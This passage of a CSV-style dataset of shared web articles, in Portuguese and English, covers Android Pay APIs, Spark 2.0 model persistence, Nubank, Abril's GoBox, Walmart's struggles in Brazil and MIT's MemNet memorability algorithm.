práticas de Inovação: inovar para se diferenciar , ministrado pelo especialista Maximiliano Carlomagno. Ao assistir às duas horas e meia de vídeo-aulas, você vai aprender a Definir quais são os Drivers da Inovação; Diferenciar Inovação e Melhoria; Identificar quais são os tipos de inovação, por meio do Radar de Inovação; Compreender como é o processo de inovação para transformar um insight em resultado; Aprender quais as competências necessárias para o processo de Inovação. Além desses, há outros cursos que vão te ajudar com aquelas dores na hora de montar uma estratégia vencedora. Não deixe de fazer todos. Afinal, em Lollo que está ganhando não se mexe.",pt
1464799971,CONTENT SHARED,2250978527027854837,3609194402293569455,-1041778959468827323,,,,HTML,http://www.programmableweb.com/news/google-expands-android-pay-apis/2016/05/31,Google Expands Android Pay APIs,"Selling something online? Google wants to help you get paid. The company has made improvements to several existing Android Pay APIs and even rolled out a new Android Pay API all in the name of removing those roadblocks that often stymie mobile transactions. One way to ensure consumers follow through with their online purchases is to simplify the process. When consumers are forced to fumble through clumsy online checkout processes on their phone, they often abandon the purchase. Android Pay can resolve this problem by introducing an easier-to-use, click-to-pay interface. To start, Google is opening up the Android Pay API to all developers, including those selling physical goods and sevices via the Web. Merchants need only sign up via the Android Pay developer portal . Moreover, Google is partnering with a broader selection of payment processors around the globe to make sure Android Pay is supported both in apps and online. (Some of the processors include Ayden, Braintree, Cardstream, Cybersource, Elavon, First Data, Global Payments, Judo, Klarna, Simplify, Stripe, Vantiz, Worldpay, and Zooz.) Google says adding Android Pay to most websites should take only a few hours. That seems a small price to pay if it leads to a higher sales conversion rate. The PaymentRequest API is a brand new Web API that Google is creating with its Chrome team to standardize access across browsers through W3C. Android Pay will be built into the PaymentRequest API so shoppers can pay on mobile Web sites just as they would within apps. This will be especially helpful once Google rolls out Android Instant Apps, which can run on phones even when not installed on the device. (Android Instant Apps were recently announced at Google's I/O developer conference.) Google says it has also improved the Save to Android Pay API based on developer feedback. For example, developers will now be able to add support for offers, loyalty cards, and gift cards to their Android Pay-based app with just a tap of a button. Further, online merchants can add deep links to emails, text messages, push notifications , and the app itself to smooth out the transaction process. Developers should be able to enroll new customers in loyalty programs thanks to the new, simplified sign-up feature. For example, consumers can register by tapping their NFC-enabled phone at a brick-and-mortar retail store or a through an online sign-up page linked from the Android Pay transaction. The expanded availability, revamped API, and brand news APIs make Android Pay a more compelling option for app and online developers.",en
1464800254,CONTENT SHARED,-2683134512107439488,3609194402293569455,-1041778959468827323,,,,HTML,http://techcrunch.com/2016/06/01/mary-meeker-internet-trends-2016/,Mary Meeker's essential 2016 Internet Trends Report,"The fastest way to learn everything going on in tech is to read this report. Kleiner Perkins partner Mary Meeker has become a legend for publishing these compilations of the most critical stats and trends about how technology is evolving. From the funding climate to smartphone adoption to the tech giants to cutting-edge inventions, the Mary Meeker Internet Trends report has it all. Here's the full 2016 report embedded: Want more? Here's our breakdown of the most important insights from the 2015 Internet Trends report",en
1464800429,CONTENT SHARED,7965539599896143226,3609194402293569455,-1041778959468827323,,,,HTML,http://trendwatching.com/trends/crisis-solutions/,New South & Central America Trend Briefing from TrendWatching | CRISIS SOLUTIONS,"So we've seen ten innovations from SCA that are reshaping expectations around how brands should step up and help. But these new expectations don't emerge out of the blue. Instead, they are evolve out of past expectations around brand ethics, sustainability, moving beyond the merely transactional, and more. And they'll soon evolve again! At TrendWatching, we view new customer expectations - and the trends they fuel - through the lens of a Bigger Picture. That is, our 16 mega-trends . These mega-trends are the big, slow-moving currents in the consumer arena and taken together they form the Trend Framework: our complete picture of consumerism today and where it's heading. Grab a glimpse of the Trend Framework below (clients of our Premium Service have full access). Via the Trend Framework, we'll keep tracking the new customer expectations we've seen in this Briefing - as we continue to receive relevant examples from TW:IN, our global spotting network.",en
1464801652,CONTENT SHARED,2834574758085485485,3609194402293569455,-1041778959468827323,,,,HTML,http://corporate.canaltech.com.br/materia/canaltech-entrevista/nubank-o-futuro-dos-cartoes-de-credito-ct-entrevista-67929/,Nubank: o futuro dos cartões de crédito [CT Entrevista] - Canaltech Entrevista,"Uma empresa de cartão de crédito que aposta na tecnologia para oferecer um serviço sem taxas, sem enrolação, tudo por meio do aplicativo. É essa a missão do Nubank, startup que está fazendo sucesso aqui no Brasil. É tanto o sucesso que a fila de pessoas esperando para ter um desses cartões de crédito não para de crescer. O Nubank foi eleito a melhor empresa B2C no LatAm Founders Award, evento que aconteceu em abril e que elegeu as principais empresas em vários segmentos no país, e é a primeira brasileira a receber or prêmio Marketers that Matter, do Vale do Silício. Pra nos contar mais a respeito dessa empresa, conversamos com Edward Wible, um dos cofundadores do Nubank e CTO da empresa.",pt
1464802518,CONTENT SHARED,-1192619987285372590,-1443636648652872475,8824844747218932597,,,,HTML,https://databricks.com/blog/2016/05/31/apache-spark-2-0-preview-machine-learning-model-persistence.html,Apache Spark 2.0 Preview: Machine Learning Model Persistence,"Spark Summit 2016 will be held in San Francisco on June 6-8. Check out the full agenda and get your ticket before it sells out! Try the ML Pipeline Persistence Notebook on Databricks Community Edition Introduction Consider these Machine Learning (ML) use cases: A data scientist produces an ML model and hands it over to an engineering team for deployment in a production environment. A data engineer integrates a model training workflow in Python with a model serving workflow in Java. A data scientist creates jobs to train many ML models, to be saved and evaluated later. All of these use cases are easier with model persistence, the ability to save and load models. With the upcoming release of Apache Spark 2.0 , Spark's Machine Learning library MLlib will include near-complete support for ML persistence in the DataFrame-based API. This blog post gives an early overview, code examples, and a few details of MLlib's persistence API. Key features of ML persistence include: Support for all language APIs in Spark: Scala, Java, Python & R Support for nearly all ML algorithms in the DataFrame-based API Support for single models and full Pipelines, both unfitted (a ""recipe"") and fitted (a result) Distributed storage using an exchangeable format Thanks to all of the community contributors who helped make this big leap forward in MLlib! See the JIRAs for Scala/Java , Python , and R for full lists of contributors. Learn the API In Apache Spark 2.0, the DataFrame-based API for MLlib is taking the front seat for ML on Spark. (See this previous blog post for an introduction to this API and the ""Pipelines"" concept it introduces.) This DataFrame-based API for MLlib provides functionality for saving and loading models that mimics the familiar Spark Data Source API. We will demonstrate saving and loading models in several languages using the popular MNIST dataset for handwritten digit recognition (LeCun et al., 1998; available from the LibSVM dataset page ). This dataset contains handwritten digits 0-9, plus the ground truth labels. Here are some examples: Our goal will be to take new images of handwritten digits and identify the digit. See this notebook for the full example code to load this data, fit the models, and save and load them. Save & load single models We first show how to save and load single models to share between languages. We will fit a Random Forest Classifier using Python, save it, and then load the same model back using Scala. We can simply call the save method to save this model, and the load method to load it right back: We could also load that same model (which we saved in Python) into a Scala or Java application: This works for both small, local models such as K-Means models (for clustering) and large, distributed models such as ALS models (for recommendation). The loaded model has the same parameter settings and data, so it will return the same predictions even if loaded on an entirely different Spark deployment. Save & load full Pipelines So far, we have only looked at saving and loading a single ML model. In practice, ML workflows consist of many stages, from feature extraction and transformation to model fitting and tuning. MLlib provides Pipelines to help users construct these workflows. (See this notebook for a tutorial on ML Pipelines analyzing a bike sharing dataset.) MLlib allows users to save and load entire Pipelines. Let's look at how this is done on an example Pipeline with these steps: Feature extraction: Binarizer to convert images to black and white Model fitting: Random Forest Classifier to take images and predict digits 0-9 Tuning: Cross-Validation to tune the depth of the trees in the forest Here is a snippet from our notebook to build this Pipeline: Before we fit this Pipeline, we will show that we can save entire workflows (before fitting). This workflow could be loaded later to run on another dataset, on another Spark cluster, etc. Finally, we can fit the Pipeline, save it, and load it back later. This saves the feature extraction step, the Random Forest model tuned by Cross-Validation, and the statistics from model tuning. Learn the details Python tuning The one missing item in Spark 2.0 is Python tuning. Python does not yet support saving and loading CrossValidator and TrainValidationSplit, which are used to tune model hyperparameters; this issue is targeted for Spark 2.1 ( SPARK-13786 ). However, it is still possible to save the results from CrossValidator and TrainValidationSplit from Python. For example, let's use Cross-Validation to tune a Random Forest and then save the best model found during tuning. See the notebook for the full code. Exchangeable storage format Internally, we save the model metadata and parameters as JSON and the data as Parquet. These storage formats are exchangeable and can be read using other libraries. Parquet allows us to store both small models (such as Naive Bayes for classification) and large, distributed models (such as ALS for recommendation). The storage path can be any URI supported by Dataset/DataFrame save and load, including paths to S3, local storage, etc. Language cross-compatibility Models can be easily saved and loaded across Scala, Java, and Python. R has two limitations. First, not all MLlib models are supported from R, so not all models trained in other languages can be loaded into R. Second, the current R model format stores extra data specific to R, making it a bit hacky to use other languages to load models trained and saved in R. (See the accompanying notebook for the hack.) Better cross-language support for R will be added in the near future. Conclusion With the upcoming 2.0 release, the DataFrame-based MLlib API will provide near-complete coverage for persisting models and Pipelines. Persistence is critical for sharing models between teams, creating multi-language ML workflows, and moving models to production. This feature was a final piece in preparing the DataFrame-based MLlib API to become the primary API for Machine Learning in Apache Spark. What's next? High-priority items include complete persistence coverage, including Python model tuning algorithms, as well as improved compatibility between R and the other language APIs. Get started with this tutorial notebook in Scala and Python. You can also just update your current MLlib workflows to use save and load. Experiment with this API using an Apache Spark branch-2.0 preview in the Databricks Community Edition beta program. Join the beta waitlist. Read More Read the notebook with the full code referenced in this blog post. Learn about the DataFrame-based API for MLlib & ML Pipelines: Sign up for a free trial of Databricks. Get started Today",en
1464807826,CONTENT SHARED,1554619040289415222,-1352064057049251194,-490252022775961795,,,,HTML,http://veja.abril.com.br/complemento/publicidade/gobox/apresentacao.html,"Conheça o GoBox, marketplace do Grupo Abril - VEJA.com","Katia Beauchamp e Hayley Barna, fundadoras da Birchbox, apostaram no modelo para entregar cosméticos às clientes (Cindy Ord/Getty Images) Os primeiros clubes de assinatura surgiram no início dos anos 2000, mas o novo modelo de negócio começou a dar sinais de que iria expandir em 2010, na mesma época em que a Birchbox decolou. A principal aposta da empresa criada pelas empreendedoras Katia Beauchamp e Hayley Barna, então alunas da Harvard Bussiness School, era a de que as consumidoras pagariam 10 dólares por mês para receber em casa amostras de produtos de beleza. O plano era fazer com que os assinantes passassem a comprar os produtos diretamente do site, oferecendo a possibilidade de ""provar"" um produto, o que não é comum para um e-commerce. A aposta deu certo: a empresa tem hoje mais de um milhão de assinantes e 35% das receitas vêm de vendas diretas. Entrar no mundo dos clubes de assinatura pode até parecer simples, mas o exemplo da Birchbox mostra que para fidelizar a clientela é preciso grande capacidade de difusão de informação e um sistema de entregas impecável. Walter Longo: ""GoBox representa o que a Abril tem de melhor"" (VEJA/Ricardo Matsukawa) O Grupo Abril, que publica VEJA, está entrando neste mercado justamente para ajudar nos desafios logísticos dos clubes. A Abril acaba de lançar o GoBox , uma plataforma com a solução completa para todas as modalidades de clubes de assinatura. O negócio nasce com um investimento de 20 milhões de reais e uma expertise considerável: uma base de 3,4 milhões de clientes, experiência de 40 anos na entrega de assinaturas e produção de conteúdo segmentado. ""Os pilares do GoBox são a mídia, a distribuição e uma excelente base de dados. É tudo o que a Abril tem de melhor"", explica o presidente do Grupo Abril, Walter Longo. ""Por enquanto, nosso foco é o B2B. Estamos falando com empresas que desejam usar a Abril como marketplace para seus produtos"", afirma. Longo explica que o GoBox terá marcas da própria Abril, como a CAPRICHO, outras que serão resultado de parcerias com grandes fabricantes, como a Procter&Gamble, e outras ainda envolverão associações com empresas comerciais que têm muitos produtos, como o Eataly. A expectativa é alcançar 200 mil assinaturas e faturar 250 milhões de reais em três anos.",pt
1464807858,CONTENT SHARED,-4386371945374980231,-1352064057049251194,-490252022775961795,,,,HTML,http://epocanegocios.globo.com/Empresa/noticia/2016/06/por-que-o-walmart-nao-e-walmart-no-brasil.html,Por que o Walmart não é Walmart no Brasil,"Baixo movimento: em janeiro, o Walmart anunciou o fechamento de 60 lojas no Brasil, entre as quais a de Sumaré (SP) (Foto: Página Popular) Sempre que se fala em Walmart logo surgem as analogias esperadas: se a varejista americana fosse um país, teria o PIB de, por exemplo, uma Venezuela. Ou o equivalente à riqueza somada de Chile e Peru. Responderia ainda por um terço do produto interno brasileiro. Não faltam parâmetros geoeconômicos para medir o gigantismo da empresa, dona de receitas de US$ 485 bilhões e de uma força de trabalho de 2,2 milhões de pessoas (o contingente do exército da China, excluindo reservistas, segundo a revista The Economist). Ocorre que a nação Walmart nem sempre transforma esse produto interno bruto em lucro certo e líquido. Tome o Brasil como exemplo. Em 2014, a empresa, terceira colocada no varejo nacional, faturou R$ 29,6 bilhões, R$ 1 bilhão a mais do que no ano anterior. Mas registrou prejuízo de cerca de R$ 200 milhões, segundo cálculos de especialistas do setor (a companhia não divulga os resultados consolidados por região). Analistas de mercado, ex-funcionários e fornecedores ouvidos pela NEGÓCIOS acreditam que a operação brasileira jamais tenha fechado um ano com a última linha do balanço no azul. O Walmart não comenta. (Fotos: Felipe Gombossy, O Globo) ""Quando desembarcaram por aqui, a mensagem era clara: o Walmart iria conquistar o Brasil passando por cima da concorrência como um rolo compressor"", diz Rubens Batista, consultor especializado em varejo e sócio da consultoria 2B Partners. Duas décadas após, no entanto, o quadro é bem diferente. A empresa não consegue sair da terceira posição do varejo nacional. Está bem longe do líder Pão de Açúcar, que fatura duas vezes mais, R$ 72 bilhões, tem o quádruplo de lojas e o dobro de funcionários. Também não conseguiu ultrapassar o Carrefour, segundo do ranking, ainda que a rede francesa tenha vivido seguidas crises no país. Em janeiro o Walmart anunciou o fechamento de 60 de suas 540 lojas no país, como parte de um plano de encerramento global de pontos de venda deficitários (no mundo, serão 270). E, mais uma vez, trocou de presidente. Saiu Guilherme Loureiro, rumo à direção do grupo na América Latina, e entrou Flavio Cotini, ex-Unilever. É o quarto presidente a assumir a empresa nos últimos oito anos, uma média de um CEO a cada dois anos. No Brasil, grandes companhias costumam promover mudanças na presidência a cada cinco anos, segundo estudo da consultoria Strategy& (antiga Booz&Company). E como se tudo isso não bastasse, o grupo enfrenta ainda uma investigação de autoridades americanas por suposto pagamento de propinas para a construção de lojas em Brasília. O cenário é preocupante, ainda mais levando em conta que a empresa já encerrou suas operações em mercados onde também registrou prejuízos, como a Coreia do Sul e a Alemanha. Piora ainda mais com os problemas enfrentados pela matriz e a necessidade de cortar despesas. No ano passado, o Walmart perdeu o posto de maior valor de mercado do mundo para a Amazon, dona de um faturamento cinco vezes menor. A briga entre Walmart e Amazon é uma mostra de como, mesmo nos Estados Unidos, ser um gigante pode não ser o suficiente. Quando o Walmart lançou sua loja online, em 1999, a Amazon faturava US$ 1,6 bilhão. Este ano, o e-commerce do Walmart deve faturar cerca de US$ 14 bilhões - enquanto a Amazon vai superar R$ 100 bilhões. Isso significa que a velocidade de crescimento da empresa de Jeff Bezos no comércio eletrônico é quase dez vezes maior que a da varejista. O Walmart, cuja história sempre foi marcada pela inovação, parece ter perdido a mão. Ir a um supermercado, hoje, envolve encarar trânsito, pegar um carrinho, circular por corredores, pegar fila na hora de pagar, carregar o carro, pegar trânsito novamente, descarregar os pacotes e guardar todos os itens em casa. Frente a esse cenário, fazer compras com um clique e ter os produtos entregues na sua casa parece uma opção mais atraente. Pesquisas feitas por institutos americanos colocam a Amazon no topo da lista de melhor experiência de compra nos últimos anos. Como resultado, para manter seus acionistas por perto, o Walmart teve de pagar US$ 6 bilhões nos últimos dois anos em programas de recompra de ações - além de distribuir parcelas generosas do lucro na forma de dividendos. A Amazon nunca precisou gastar um centavo nesse tipo de estratégia. Na prática, isso significa que uma empresa precisa pagar pelo presente, enquanto a outra aposta no futuro. Criador de conceitos, de repente o Walmart se viu transformado em seguidor de um novo paradigma, estabelecido pela concorrência. A consequência era esperada: a redução da expectativa de lucro em 2016 está derrubando o valor das ações na Bolsa de Nova York - em um único dia, no final do ano passado, elas chegaram a recuar quase 10%. ""Essa empresa tem mais de 50 anos e o varejo mudou"", admitiu o presidente mundial, Doug McMillon. ""O que o Walmart pode fazer e que ninguém mais pode é casar o e-commerce com nossos ativos físicos para entregar uma experiência de compra perfeita, em grande escala."" Corredores de um supermercado do Walmart: faturamento por metro quadrado e por funcionário é inferior ao dos concorrentes (Foto: Agência O Globo Força cultural Mas enquanto isso não ocorre, fica a questão: por que o Walmart não decola no Brasil. É claro que a própria crise da economia brasileira afetou os resultados do grupo. Na última década, o varejo cresceu quase 5% ao ano, em média. Já em 2016, a expectativa é de queda de 3%, segundo o Instituto Brasileiro de Executivos de Varejo e Mercado de Consumo (Ibevar). Mas os problemas do Walmart vão muito além da conjuntura - e não vêm de agora. Procurados, os porta-vozes da companhia não concederam entrevistas. Mas, segundo uma série de especialistas, concorrentes e ex-executivos ouvidos por NEGÓCIOS, há um problema fundamental de adaptação do negócio da empresa à cultura de compras brasileira. ""Faltou e falta tropicalizar o Walmart"", diz Paulo Cury, sócio da consultoria Condere. Como o modelo é extraordinariamente bem-sucedido nos Estados Unidos, tende a ser replicado à risca em outros países - ignorando as características específicas de cada região. Em 1995, os primeiros supermercados do Walmart abertos no Brasil tinham em suas prateleiras itens como equipamentos para beisebol e casacos para neve. Até itens corriqueiros das lojas, como produtos de limpeza e esfregões, eram importados dos Estados Unidos. O mix de produtos foi adaptado. O modelo de negócios, não. ""A ideia de manter o sistema, mesmo com defeitos, vem da crença de que, algum dia, eles vão acabar educando o consumidor"", afirma um ex-diretor. ""Deu certo no México, e a expectativa é fazer o mesmo no Brasil."" O problema é que a rede já está em sua segunda década de operação no país. Parece haver uma falta de sintonia entre os desejos da empresa e a realidade do mercado. Do ponto de vista dos negócios, a principal marca registrada dessa cultura é a oferta de preços, em média, mais baixos que os dos concorrentes, uma estratégia conhecida como EDLP, ou Every Day Low Price, algo como Preço Baixo Todos os Dias. O EDLP é um mantra dentro do Walmart, uma marca registrada da companhia. É justamente esse o problema. O modelo do EDLP funciona bem nos Estados Unidos, devido à escala da operação. Mas tem dificuldade em um mercado menor e com menos fornecedores, como o brasileiro. ""É um processo que castiga a margem e sacrifica muito a operação"", diz Batista. Mas a principal questão é que o modelo, curiosamente, não pegou no Brasil - é um bicho estranho que pouca gente conhece. Por aqui, o sistema praticado no mercado é conhecido como High-Low (Alto e Baixo): promoção em alguns itens e preço mais elevado em outros, para compensar. O consumidor brasileiro associa a economia na conta a promoções e não a uma estratégia comercial para toda a loja. ""É uma questão de percepção: a oferta de um produto gera a sensação de que o carrinho todo vai sair mais barato"", diz Jeferson Mola, professor da Universidade Anhembi Morumbi. Há alguns anos, a operação brasileira tentou mudar o modelo do EDLP para o High-Low, mas acabou tendo de voltar atrás. Motivo: falta de autonomia dos executivos, CEOs incluídos. ""Os chefes precisam consultar Bentonville até para questões corriqueiras"", afirma um executivo com conhecimento da empresa. Em parte, pela cultura centralizadora da empresa. Por outra, pelo baixo peso do Brasil dentro do grupo. Convertendo a moeda, são vendas de US$ 7 bilhões por ano, cerca de 1% do faturamento mundial. ""É uma operação relativamente pequena, que precisa de adaptações, dentro de um negócio muito grande. Vira aquela coisa: a chefia não discute, não ouve e vai tocando, achando que uma hora dá certo"", diz o executivo. Marcação cerrada Claro, nem todos os problemas do Walmart por aqui são derivados da falta de adaptação ao Brasil. Alguns deles se devem ao fato do mercado local ser ""duríssimo, com concorrentes bem estabelecidos, extremamente profissionais e com relações consolidadas com fornecedores"", segundo Antônio César Carvalho de Oliveira, diretor da consultoria Acomp. Um exemplo dessa concorrência acirrada vem do Carrefour. Quando o grupo americano chegou ao país, a rede francesa decidiu atacar em vez de se defender. Mapeou onde seriam as novas lojas do novo concorrente e reforçou suas unidades próximas, aumentando a equipe, o sortimento e o estoque. Comprou um terreno bem ao lado do local de um dos primeiros hipermercados do Walmart, em Osasco, construiu uma nova unidade e mandou para lá um time experiente, liderado por um de seus melhores diretores. Foi definido que essa loja não teria responsabilidade de fazer dinheiro: seria uma unidade de combate, por assim dizer, com preços mais baixos e promoções frequentes. ""O resultado foi uma carnificina"", diz Batista, da 2B. Sem uma equipe experiente, com sistemas pouco adaptados ao Brasil e produtos para americano ver, a unidade do Walmart sofreu com baixo movimento por anos e anos. Outros desafios, no entanto, são de responsabilidade da própria empresa, como a falta de integração entre suas diferentes bandeiras no país. Nos Estados Unidos, o modelo de negócios do Walmart funciona devido à sua altíssima escala - são cerca de 5 mil lojas por lá -, e a rede tenta replicar isso em outros países. No Brasil, foram compradas diversas redes regionais, como Bompreço, Big e Maxxi. Contribuiu para essa estratégia o poder de fogo do grupo. Em 2004, por exemplo, o Pão de Açúcar negociava a compra da rede nordestina Bompreço com os executivos brasileiros da companhia, que pertencia à holandesa Royal Ahold. No meio da negociação, chegou a informação que as conversas teriam de ser interrompidas. Motivo: o Walmart americano havia acabado de fechar o negócio, conversando diretamente com os holandeses, sem sequer passar pelos executivos brasileiros. O problema, no entanto, é que o Walmart brasileiro nunca deglutiu as redes que abocanhou. Sistemas de operações, logística e a parte administrativa dessas unidades adquiridas ainda não foram integrados. O Walmart usa vários sistemas diferentes de gestão em suas bandeiras espalhadas pelo país. A previsão é que a integração das regiões, iniciada em 2010, só deve ser concluída daqui a 18 meses, na melhor das hipóteses. O grupo também padece de apostas feitas em segmentos que ainda não se mostraram rentáveis. O Walmart começou a atuar no Brasil com dois modelos de negócios diferentes, ao mesmo tempo: supercenter (super e hipermercados) e clube de compras, por meio da bandeira Sam's Club. Foi necessário montar e treinar dois times, o que também dobrou os custos da estrutura. Mas o clube de compras ainda não decolou por aqui. No exterior, empresas como a americana CostCo atuam lado a lado com a indústria para desenvolver produtos específicos para esse modelo. Aqui, em um estágio bem menos amadurecido, o apelo não é a exclusividade de itens, mas sim o preço - o que nem todos veem como algo tão vantajoso, já que a anuidade paga pelos clientes está na faixa dos R$ 65. É um modelo mais focado no profissional (pequenos empresários e empreendedores individuais) do que na pessoa física. O problema é que a opção do Walmart em reforçar seu clube de compras veio exatamente quando a preferência do consumidor brasileiro - em especial o da nova classe média - recaiu sobre os chamados atacarejos. Desde 2008, o atacarejo cresceu a 22% ao ano em média, segundo a consultoria Bain & Company, o dobro da média do varejo de alimentos. Com foco no Sam's Club, a operação do Walmart no segmento, sob a bandeira Maxxi, recebeu pouco investimento. O adjetivo mais suave dado pelos analistas para a operação é ""problemática"". Ao mesmo tempo, os concorrentes se moveram. A rede Atacadão já representa 60% da receita do Carrefour no Brasil. Dentro do Pão de Açúcar, a bandeira Assaí é a estrela do momento. Uma bela oportunidade, até agora desperdiçada. Maxxi, a bandeira de atacarejo do Walmart, ainda não decolou.Os rivais Atacadão e Assaí aproveitam: o segmento vem crescendo 22% ao ano (Foto: Divulgação Rede Walmart) Gigantismo Há um outro ""pequeno"" detalhe que atrapalha a vida do Walmart no Brasil: ele é grande demais. Não em tamanho da rede, mas em espaço físico. Em média, segundo a Associação Brasileira de Supermercados (Abras), cada loja do Walmart tem 2.838 metros quadrados, mais do que o dobro dos 1.336 metros quadrados do Pão de Açúcar. E isso virou uma dor de cabeça. Quando Sam Walton - fundador do Walmart - abriu sua primeira loja, em 1952, criou um conceito revolucionário para a época: juntar todas as necessidades básicas das famílias em um único lugar, pelo preço mais baixo. Isso facilitou de modo decisivo o processo de compras. Por aqui, esse modelo de grandes lojas ganhou popularidade durante os anos 80 e 90. Os hipermercados reuniam todos os tipos de produtos imagináveis - de pneus a fraldas infantis - e ainda eram um programa familiar, um símbolo de status, especialmente para famílias com menor poder aquisitivo. Mas os tempos mudaram. O perfil social do país se alterou, a inflação diminuiu e a preocupação com os preços deixou de ser exclusiva. Itens como comodidade e um mix mais especializado de produtos passaram a pesar mais. Os shoppings ganharam espaço como palco da diversão da família e o número de pessoas solteiras e separadas disparou. Tudo isso impulsionou as lojas de pequeno porte, mais espalhadas e bem localizadas. Segundo números da consultoria Bain & Company, o segmento formado por pequenas unidades já ultrapassou em importância os hipermercados. Elas já movimentam R$ 80 bilhões por ano, frente aos R$ 66 bilhões das megalojas. Ao mesmo tempo, a disparada no preço do metro quadrado nas grandes cidades tornou proibitivo o custo para um supermercado. Há uma década, construía-se um super ""médio"" por menos de R$ 50 milhões, somando o preço do terreno e da construção; hoje em dia, esse valor dificilmente fica abaixo dos R$ 100 milhões. O chamado payback - tempo que a obra demora para se pagar - está em sete anos. ""É um investimento caríssimo em um país com taxas de juros elevadas"", diz Cláudio Felisoni de Angelo, presidente do Ibevar. Como resultado, Carrefour e Pão de Açúcar estão correndo para abrirem unidades nesse formato conveniência - sob as marcas Express e Minuto, respectivamente -, enquanto o Walmart segue empacado com as lojas de grande porte. Mesmo as unidades maiores, concebidas segundo o modelo americano - organizado, silencioso, com prateleiras imaculadamente arrumadas e sem cartazes de promoção - parecem não fazer com que os clientes nacionais se sintam convidados a comprar. ""O que faz sucesso aqui é a festa, a bagunça, o locutor falando sobre as promoções no megafone"", diz Enéas Pestana, ex-presidente do Pão de Açúcar e recentemente empossado no comando da JBS. ""O Abilio [Diniz] costumava me dizer que hipermercado morno é hipermercado morto. A loja do Walmart é desanimada, parece um cemitério."" O problema com a loja vai além. Uma pesquisa do grupo, feita anos atrás junto a uma consultoria, descobriu que poucas mulheres entravam nas lojas devido ao desconforto gerado pelo frio excessivo do ar-condicionado. Tudo isso aparece nos resultados. Segundo a Abras, o faturamento anual por metro quadrado do Walmart é de R$ 19 mil, frente R$ 25 mil do Pão de Açúcar. O faturamento por funcionário também é inferior: R$ 396 mil, ante R$ 452 mil da rede líder. Unidade do Pão de Açúcar Minuto: as pequenas lojas avançam e o Walmart continua insistindo no conceito de hipermercados (Foto: Agência Estado) Tentativa de reação Frente ao panorama negativo, parte do mercado vê de modo positivo as ações mais recentes. ""O fechamento de lojas é sadio. Eram unidades que se tornaram muito deficitárias e estavam afetando os resultados do grupo"", diz Márcio Roldão, sócio da consultoria MaxValue. A troca na presidência também foi vista como um indicativo de que a empresa irá se concentrar na redução de custos. Foi nessa área que o novo CEO Flavio Cotini se destacou em suas experiências anteriores, na Unilever e Diageo. Outro ponto visto como positivo é o investimento pesado feito na operação brasileira de e-commerce, que cresce acima dos 10% ao ano. A unidade recebeu o reforço de diversos executivos vindos da Cnova e já reúne mais de mil funcionários. Tem uma estrutura operacional própria, separada do resto da rede, incluindo centros de distribuição exclusivos para as vendas feitas pela internet. Outros especialistas dizem, no entanto, que fechar lojas, trocar executivos e apostar no e-commerce ainda é muito pouco. ""São soluções pontuais, enquanto os problemas são estruturais"", diz Batista. ""É preciso tomar as decisões estratégicas, difíceis."" O consultor lista algumas: definir um modelo de negócios. Tentar mudar o sistema de precificação. Ampliar o atacarejo. Decidir se quer ou não investir em pequenas unidades. ""E a empresa ainda não sinalizou com nenhuma dessas respostas"", afirma Enéas Pestana.",pt
1464813325,CONTENT SHARED,-3161714324304758767,-1479311724257856983,676862310426775888,,,,HTML,http://news.mit.edu/2015/csail-deep-learning-algorithm-predicts-photo-memorability-near-human-levels-1215,"Deep-learning algorithm predicts photos' memorability at ""near-human"" levels","Researchers from MIT's Computer Science and Artificial Intelligence Laboratory (CSAIL) have created an algorithm that can predict how memorable or forgettable an image is almost as accurately as humans - and they plan to turn it into an app that subtly tweaks photos to make them more memorable. For each photo, the ""MemNet"" algorithm - which you can try out online by uploading your own photos - also creates a heat map that identifies exactly which parts of the image are most memorable. ""Understanding memorability can help us make systems to capture the most important information, or, conversely, to store information that humans will most likely forget,"" says CSAIL graduate student Aditya Khosla, who was lead author on a related paper. ""It's like having an instant focus group that tells you how likely it is that someone will remember a visual message."" Team members picture a variety of potential applications, from improving the content of ads and social media posts, to developing more effective teaching resources, to creating your own personal ""health-assistant"" device to help you remember things. Part of the project the team has also published the world's largest image-memorability dataset, LaMem. With 60,000 images, each annotated with detailed metadata about qualities such as popularity and emotional impact, LaMem is the team's effort to spur further research on what they say has often been an under-studied topic in computer vision. The paper was co-written by CSAIL graduate student Akhil Raju, Professor Antonio Torralba, and principal research scientist Aude Oliva, who serves as senior investigator of the work. Khosla will present the paper in Chile this week at the International Conference on Computer Vision. How it works The team previously developed a similar algorithm for facial memorability . What's notable about the new one, besides the fact that it can now perform at near-human levels, is that it uses techniques from ""deep-learning,"" a field of artificial intelligence that use systems called ""neural networks"" to teach computers to sift through massive amounts of data to find patterns all on their own. Such techniques are what drive Apple's Siri, Google's auto-complete, and Facebook's photo-tagging, and what have spurred these tech giants to spend hundreds of millions of dollars on deep-learning startups. ""While deep-learning has propelled much progress in object recognition and scene understanding, predicting human memory has often been viewed as a higher-level cognitive process that computer scientists will never be able to tackle,"" Oliva says. ""Well, we can, and we did!"" Neural networks work to correlate data without any human guidance on what the underlying causes or correlations might be. They are organized in layers of processing units that each perform random computations on the data in succession. As the network receives more data, it readjusts to produce more accurate predictions. The team fed its algorithm tens of thousands of images from several different datasets, including LaMem and the scene-oriented SUN and Places (all of which were developed at CSAIL). The images had each received a ""memorability score"" based on the ability of human subjects to remember them in online experiments. The team then pitted its algorithm against human subjects by having the model predicting how memorable a group of people would find a new never-before-seen image. It performed 30 percent better than existing algorithms and was within a few percentage points of the average human performance. For each image, the algorithm produces a heat map showing which parts of the image are most memorable. By emphasizing different regions, they can potentially increase the image's memorability. ""CSAIL researchers have done such manipulations with faces, but I'm impressed that they have been able to extend it to generic images,"" says Alexei Efros , an associate professor of computer science at the University of California at Berkeley. ""While you can somewhat easily change the appearance of a face by, say, making it more 'smiley,' it is significantly harder to generalize about all image types."" Looking ahead The research also unexpectedly shed light on the nature of human memory. Khosla says he had wondered whether human subjects would remember everything if they were shown only the most memorable images. ""You might expect that people will acclimate and forget as many things as they did before, but our research suggests otherwise,"" he says. ""This means that we could potentially improve people's memory if we present them with memorable images."" The team next plans to try to update the system to be able to predict the memory of a specific person, as well as to better tailor it for individual ""expert industries"" such as retail clothing and logo design. ""This sort of research gives us a better understanding of the visual information that people pay attention to,"" Efros says. ""For marketers, movie-makers and other content creators, being able to model your mental state as you look at something is an exciting new direction to explore."" The work is supported by grants from the National Science Foundation, as well as the McGovern Institute Neurotechnology Program, the MIT Big Data Initiative at CSAIL, research awards from Google and Xerox, and a hardware donation from Nvidia.",en
